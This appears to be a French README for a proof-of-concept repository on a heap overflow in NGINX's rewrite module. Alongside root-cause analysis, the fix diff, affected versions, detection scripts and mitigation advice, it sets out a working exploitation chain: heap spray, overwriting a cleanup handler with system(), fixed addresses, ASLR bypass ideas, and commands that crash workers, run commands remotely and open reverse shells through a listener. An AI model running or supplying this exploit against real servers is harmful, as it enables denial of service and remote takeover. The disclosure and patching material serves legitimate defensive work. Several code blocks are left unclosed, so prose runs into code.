location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Key requirements:**
- Une directive `rewrite` dont le remplacement contient `?` (séparateur de chaîne de requête)
- Une directive `set`, `if` ou `rewrite` ultérieure qui fait référence à une **capture PCRE sans nom** (`$1`, `$2`, etc.)
- Le `?` dans le remplacement de rewrite déclenche `ngx_http_script_start_args_code` qui définit `e->is_args = 1`

### Ce qu'un attaquant peut accomplir

| Capacité | Description |
|-----------|-------------|
| **Déni de service** | Provoque des crashs déterministes des processus workers, entraînant des boucles de redémarrage (fonctionne indépendamment de l'ASLR) |
| **Exécution de code à distance** | Avec l'ASLR désactivé (ou contourné via une réécriture partielle), obtenir une RCE complète en tant qu'utilisateur nginx |
| **Exfiltration de données** | Via des primitives de lecture mémoire, extraire des données sensibles du tas du worker |
| **Persistance** | Installer des portes dérobées via l'exécution de code dans la mémoire du processus worker |

---

## 2. Analyse de la cause racine

### Le moteur de script à deux passes

Le module `ngx_http_rewrite_module` de NGINX utilise un **moteur de script à deux passes** dans `src/http/ngx_http_script.c` :

1. **Passage de longueur** (`ngx_http_script_run`) : parcourt tous les codes de script pour calculer la taille totale du tampon nécessaire. Écrit les longueurs dans `le.ip` et `le.pos`.
2. **Passage de copie** (`ngx_http_script_copy_len`/`_code`) : parcourt à nouveau, écrivant les octets réels dans le tampon pré-alloué à `e->ip` et `e->pos`.

Chaque code de script a deux gestionnaires : un pour chaque passage. Par exemple :
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Le drapeau `is_args`

Le drapeau `e->is_args` sur la **structure du moteur** (`ngx_http_script_engine_t`) contrôle la manière dont le passage de copie gère certains caractères :```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Pendant **l'évaluation de la réécriture**, le moteur rencontre `?` dans la chaîne de remplacement, ce qui déclenche `ngx_http_script_start_args_code`, définissant `e->is_args = 1`.
2. La réécriture modifie l'URI de la requête puis continue vers la directive suivante.
3. **`e->is_args` n'est JAMAIS EFFACÉ**.

Ensuite :```
set $original_endpoint $1;

Le ratio d'expansion est `7 + (n_escapable * 2)` où `n_escapable` est le nombre de `+`, `%` et `&` dans la capture.

---

## 3. Mécanismes d'exploitation

### Aperçu

| Étape | Technique | Description |
|------|-----------|-------------|
| 1 | Overflow | Envoi d'une URI conçue avec un remplissage de `+` pour déborder le tampon du tas |
| 2 | Heap Spray | POST de grandes données vers `/spray` pour remplir le tas avec des données contrôlées |
| 3 | Feng Shui | Disposer les allocations de sorte que la cible du débordement (`ngx_pool_cleanup_t`) soit adjacente |
| 4 | Corrupt Handler | Le débordement écrase `ngx_pool_cleanup_t.handler` avec l'adresse de `system()` |
| 5 | Trigger Cleanup | Attendre la destruction du pool → `system(cmd)` exécute la commande de l'attaquant |
| 6 | Reverse Shell | Chaîne vers une charge utile de shell inversé pour un accès interactif |

### Feng Shui inter-requêtes

**Le Feng Shui en une seule requête échoue** car le débordement corrompt les métadonnées du pool (`->d.next`, `->d.failed`) avant d'atteindre le pointeur `cleanup`. Lorsque le pool est détruit à la fin de la requête, les métadonnées corrompues provoquent un **crash avant que `system()` ne soit appelé**.

Au lieu de cela, l'exploit utilise **le Feng Shui inter-requêtes** :
1. **Requête 1 (spray)** : POST d'un grand corps vers `/spray`. Le backend (`server.py`) retient la réponse avec l'en-tête `X-Delay`, gardant la connexion ouverte et préservant l'allocation tas. Le spray remplit le tas avec de faux blocs `ngx_pool_cleanup_t`.
2. **Requête 2 (overflow)** : Envoyer l'URI de débordement. Le débordement ne corrompt que le pointeur `cleanup` (pas les métadonnées du pool), le pointant vers le faux bloc sprayé.
3. **Destruction du pool** : Lorsque la réponse spray se termine (le délai expire), la chaîne de nettoyage du pool se dirige vers le faux bloc et appelle `system(cmd)`.

### Exigences d'adresse

| Symbole | Valeur (Docker, ASLR désactivé) | Description |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base du tas nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` dans glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Pointeur vers le pool de cycles |
| Adresse de faux cleanup | `0x5555556a4030` | Adresse cible du spray |

### Contournement d'ASLR

Sans désactiver ASLR, le **DoS** (crash) fonctionne toujours de manière déterministe. Pour un RCE avec ASLR activé, deux approches :

1. **Écriture partielle** : Utiliser une écriture de 1 ou 2 octets pour décaler un pointeur dans la même page, en bruteforçant les nibbles restants (16–256 tentatives).
2. **Fuite d'informations** : Lire `/proc/self/maps` ou utiliser l'analyse mémoire de `log_parser.py` pour déterminer la disposition.

---

## 4. Analyse du correctif

### Le correctif officiel

**Commit** : `524977e7c534e87e5b55739fa74601c9f1102686`  
**Fichier** : `src/http/ngx_http_script.c`  
**Ligne** : ~1205 (dans `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Correctifs rétroportés

| Correctif | Versions Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versions affectées

### NGINX Open Source

| Plage | Statut |
|-------|--------|
| **0.1.0 – 0.6.26** | Non affecté (le module rewrite est antérieur aux captures non nommées) |
| **0.6.27 – 1.30.0** | **Vulnérable** (fenêtre de 18 ans) |
| **1.30.1** | Première version corrigée |
| **1.31.0+** | Corrigée (principale) |

### NGINX Plus

| Version | Affectée | Corrigée |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Écosystème NGINX

| Produit | Affectée | Statut |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Avis en attente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Avis en attente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Avis en attente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Avis en attente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Avis en attente |
| NGINX Agent | 2.0.0–2.35.0 | Avis en attente |

---

## 6. Détection

### Vérification de version```bash
bash detection/detect_vuln.sh

### Analyse de conteneur```bash
python3 detection/container_scan.py

## 7. Atténuation

### Immédiate (Aucune modification de code)

Remplacez les **captures anonymes** par des **captures nommées** dans toutes les directives `rewrite` :```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Applique ces mesures de durcissement :
- Vérification et activation forcée de l'ASLR
- Isolation des processus workers
- Restriction des core dumps
- Durcissement SSL/TLS
- Limitation de débit
- En-têtes CSP

### Vérification ASLR```bash
bash detection/check_aslr.sh

## 9. Démarrage rapide```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

L'environnement Docker :
- Construit NGINX à partir des sources au commit `98fc3bb78` (dernier commit vulnérable avant le correctif)
- Inclut GDB, valgrind, `util-linux` (pour `setarch -R` afin de désactiver l'ASLR)
- Expose les ports **19321** (nginx vulnérable), **19322** (secondaire), **19323** (backend Python)
- Le point d'entrée utilise `setarch x86_64 -R` pour désactiver l'ASLR afin d'obtenir un agencement d'adresses d'exploitation déterministe
- Accorde la capacité `SYS_PTRACE` et `seccomp=unconfined` pour le débogage

### Vulnérable uniquement```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

---

## 11. Déclencher le débordement

### Crash de base (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Les caractères `+` dans la capture `$1` sont développés 3× lors du passage de copie alors que le tampon a été dimensionné pour la longueur brute, débordant le tas.

### Expected Output```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Calcule le nombre minimum de signes `+` nécessaires pour dépasser un nombre cible d'octets (utile lors de l'exploitation de structures de tas spécifiques).

### Expansion de caractères```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Utilisation de base```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Advanced Options

| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Hôte cible |
| `--port` | `19321` | Port cible |
| `--cmd` | — | Commande à exécuter (obligatoire sauf si `--shell`) |
| `--shell` | — | Utiliser le mode shell interactif |
| `--tries` | `3` | Nombre de tentatives d'exploit |
| `--delay` | `2.0` | Délai entre le spray et le débordement (secondes) |
| `--payload` | — | Chemin vers un fichier de payload personnalisé |
| `--debug` | — | Activer la sortie de débogage verbose |

### Analyse de l'organisation du tas```bash
python3 exploit/heap_layout.py

Trouve des adresses de tas dont les octets n'incluent pas de caractères échappables (`+`, `%`, `&`, `?`, etc.) pour une utilisation dans la construction de charges utiles d'exploitation.

---

## 13. Vérification du Shell Inversé

### Architecture```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Vérification automatisée```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

---

## 14. Correctifs

### Appliquer le correctif```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Appliquer le backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

---

## 15. Tests

### Tests unitaires```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Exécute :
1. Tests unitaires (pytest ou unittest)
2. Test de Trigger/overflow (si le serveur est en cours d'exécution)
3. Scanneur de configuration pour configurations vulnérables et sécurisées
4. Validation de correctif en dry-run

### Matrice de régression```bash
bash tools/regression_matrix.sh

Tests all config patterns (basic, advanced, ingress, gateway) with overflow triggers.

---

## 16. Fuzzing

### libFuzzer Harness

Le fuzzer (`fuzz/ngx_http_script_fuzz.c`) simule le moteur de script à deux passes :
1. Analyse l'entrée comme une séquence de codes de script
2. Exécute la passe de longueur
3. Exécute la passe de copie avec `e->is_args = 1`
4. Détecte un débordement de tampon via ASAN ou une discordance de taille```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Lance AFL++ avec ASAN, un délai d'attente configurable et des limites de mémoire sur le harnais de fuzzing.

### Corpus de départ

Le répertoire `fuzz/corpus/` contient des entrées de départ qui reproduisent le motif vulnérable, notamment :
- Déclencheur de dépassement basique
- Capture nommée (ne devrait pas déborder)
- Cas limites (capture vide, taille maximale, etc.)

---

## 17. Pipeline CI

### GitHub Actions

Le projet utilise un **seul workflow GitHub Actions CI** (`.github/workflows/ci.yml`) avec ces tâches :

| Tâche | Ce qu'elle fait |
|-----|-------------|
| `lint` | ShellCheck, validation de syntaxe Python |
| `scan-configs` | Exécute config_scanner.py sur tous les échantillons de configuration |
| `fuzz-build` | Construit le harnais libFuzzer |
| `test` | Exécute la suite pytest/unittest |
| `detect-patch` | Vérifie le format du patch et le contenu du correctif |
| `verify-project` | Exécute `tools/verify_project.sh` |

### Pipeline complet```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker